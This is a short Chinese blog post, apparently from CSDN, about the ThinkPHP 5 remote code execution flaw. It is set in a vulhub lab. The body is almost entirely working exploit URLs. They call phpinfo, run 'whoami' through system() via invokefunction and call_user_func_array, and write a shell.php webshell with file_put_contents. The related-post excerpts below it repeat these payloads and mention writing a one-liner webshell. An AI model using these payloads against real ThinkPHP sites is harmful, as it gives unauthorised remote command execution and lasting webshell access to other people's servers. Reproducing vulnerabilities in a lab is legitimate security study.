thinkphp 5 - rce

最新推荐文章于 2024-09-08 22:05:37 发布
原创 最新推荐文章于 2024-09-08 22:05:37 发布 · 283 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络安全

该文章讨论了如何通过特定的URL参数执行PHP的phpinfo函数，展示系统信息，以及如何利用存在的漏洞进行代码执行，例如运行whoami命令。此外，还提到了如何写入shell文件，这揭示了一个可能的安全风险。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

1 执⾏phpinfo

http://192.168.127.131:8080/index.php?

s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

2存在漏洞 代码执⾏

index.php?

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]

[]=whoami

写shell

/index.php?

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&va

rs[1][]=shell.php&vars[1][]=

"七鹊"
关注
[ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce
qq_51577576的博客
10-02 2779
[ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce 漏洞复现 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
Thinkphp 5-rce 漏洞复现（vulhub）
MDSEC的博客
08-21 388
ThinkPHP其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。1.在虚拟机中拉去thinkphp 5-rce镜像。输出关于php的配置信息。执行命令 whoami。连接成功，说明存在漏洞。写入webshell。
buuctf [ThinkPHP]5-Rce
qq_1873822的博客
03-14 2176
大佬们都是直接rce 这里漏洞技术细节（涉及代码段、原理等）我上个链接 https://blog.csdn.net/ArrowQin/article/details/105913146 https://bbs.ichunqiu.com/thread-48687-1-1.html?tdsourcetag=s_pcqq_aiomsg 解题 版本是ThinkPHP V5.0.20 poc ?s=index/\think\app/invokefunction&function=call_user_fun.
thinkphp5RCE
weixin_45778886的博客
03-07 2021
这里写目录标题加载第三方类库captcha路由。非debugpayload:1.路由检测1.1跟进self::routeCheck1.2跟进Route::check1.2.1在check函数进入$request->method(),1.2.2进入method()函数1.2.3进入__construct函数1.3跟进self::checkRoute1.4 跟进self::checkRule1.5跟进self::parseRule2.路由检测后，进入self::exec函数2.1 跟进exec函数2.2R
thinkphp5-rce
shierbai的博客
05-17 603
method=_construct&filter[]=system&method=get&server[REQUEST_METHOD]=id（系统命令）此之前的版本中，获取method的方法没有正确处理方法名，攻击者可以调用request类任意方法并构造利用链，从而导致远程代码执行漏洞。其版本5中，没有正确处理控制器名，导致网站在没有开启强制路由的情况下（默认情况）可以执行任意方法，从而导致远程命令执行漏洞。应用：很多cms是基于thinkphp5二次开发的，所以出问题的话，会影响很多基于其开发的网站。
ThinkPHP5--rce远程代码执行
m0_74402888的博客
04-30 1397
在ThinkPHP5版本中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。
thinkphp5 rce
weixin_51558394的博客
08-17 532
thinkphp5 rce
【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现
m0_75036923的博客
09-07 913
【代码】【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现。
vuhub thinkphp-5-rce漏洞复现
qq_46804551的博客
04-24 668
搭建 your-ip:8080 搭建成功 漏洞复现 ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中，由于框架错误地处理了控制器名称，因此如果网站未启用强制路由（默认设置），则该框架可以执行任何方法，从而导致RCE漏洞。 poc: 它将执行phpinfo /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
ThinkPHP5 5.0.23-rce远程代码执行漏洞复现
最新发布
qq_45079558的博客
09-08 455
其版本5中，由于框架对控制器名没有进行足够的检测，会导致在没有开启强制路由的情况下可执行任意方法，从而导致远程命令执行漏洞。通过echo命令写入 Webshell 文件,首先将一句话木马进行Base64 编码。判断是否存在漏洞：访问/index.php?s=captcha页面，会出现如下报错。切换目录到vulhub/thinkphp/5.0.23-rce下。使用HackBar 插件发送 POST 请求。端口为:8080,访问网站，搭建成功。访问shell.php，使用蚁剑连接。
Thinkphp 5-RCE漏洞复现
Tender*的博客
08-10 1168
ThinkPHP5披露最多得漏洞就是RCE，其中的影响版本范围非常广漏洞原理其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。影响版本不同版本 payload 不同，且5.13版本后还与debug模式有关漏洞复现进入​。
BuuCTF [Think php]5-Rce新手教程
wwwyydshen的博客
05-28 606
这里避免新手踩坑我用红框框，框出了你所需要输入端口的地方，这里我们打开了页面，看到页面的第一反应就是查看一下它的源代码，这里我用的浏览器是主机上普通的浏览器，因为这道题不需要抓包所以咱们就简单点，不需要用kali也可以。flag居然藏在这里，藏的好深，得一直往下滑才能找到，哈哈别再傻傻的划着找了，找到键盘上的ctrl+f 上面会出现一个小框框直接搜flag就找到它了！在这里我们不要放过任何一个细节，我省略了找的过程，因为很麻烦但是我的建议还是多做尝试，尝试过后可以学到更多的东西。
PHP的rce函数,Thinkphp5-1-2-RCE简单分析
weixin_30332165的博客
04-12 518
前言上次出的洞是接近元旦吧，好像刚从南京回学校，要准备烦人的期末，没心思分析，前天我刚考完，今天刚爆的洞洞貌似。然后自己跟着调试了一下。漏洞细节这是复现图前提是要在index.php中禁止报错，其实在生产环境中，开发也会这么做。漏洞点在\thinkphp\library\think\Request.php中的method函数：public function method($origin = fal...
ThinkPHP V5的RCE（远程代码执行漏洞）
Home to come
04-18 2231
一、Shell脚本基础知识 1.Shell 输入/输出重定向 常见重定向符号： 1)标准输出 > 覆盖重定向 set -C 关闭覆盖重定向的功能 set +C：恢复 >| 强制重定向 >> 追加重定向 2)标准输入 < a<b :把b交给a执行 tr 替换文件内容（tr set1 [set2]）char(字符：一个...
ThinkPHP5系列远程代码执行漏洞复现（详细）
weixin_53730939的博客
03-20 1万+
ThinkPHP5系列远程代码执行漏洞复现（详细）
Thinkphp5 RCE漏洞
Sentiment的博客
05-21 7655
影响版本 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30 不同版本payload不同，且5.13版本后还与debug模式有关 这里跟着feng师傅复现的，所以用的也是5.0.22 ThinkPHP5.0.22完整版 - ThinkPHP框架 5.0.22debug模式RCE 这波属实下饭了，开启debug模式后payload一直没打通，后来发现改成其他版本的配置文件了.........
BUUCTF之[ThinkPHP]5-Rce WP及getShell的新姿势
克格莫（有需要的私信）
10-10 3277
题目给了提示： https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce 照上面的POC做就能在phpinfo中找到flag，此处不再赘述。 拿到flag之后我想通过这个payload拿一波webshell，故使用以下POC写一句话,先创建一个php文件： http://xxxxxxxxx/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
thinkphp 5-rce版本漏洞复现(超详细版)
热门推荐
精品博客,你值得一看~
08-06 1万+
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码。（3）还可以将php代码写入文件, 此处我们写一个phpinfo。（1）在url输出关于 PHP 配置的信息。说明存在远程命令执行漏洞!ip a #获取自己的本机 ip。（4）查看shell.php内容。直接访问 ip+端口。
【buu-ThinkPHP-rce】
lalalalafan的博客
11-15 2935
【buu-ThinkPHP5-rce1】 1.传参，查找flag即可 s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 【buu-ThinkPHP2-rce】 index.php/Index/index/name${@phpinfo()} 【buu-ThinkPHP5.0.23-rce】 1. 执行命令poc POST /index
thinkphp2-rce
07-28
ThinkPHP 2.x版本中存在远程代码执行（RCE）漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说，漏洞出现在ThinkPHP框架中的路由处理函数中，使用了不安全的preg_replace函数，并且使用了/e模式进行...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值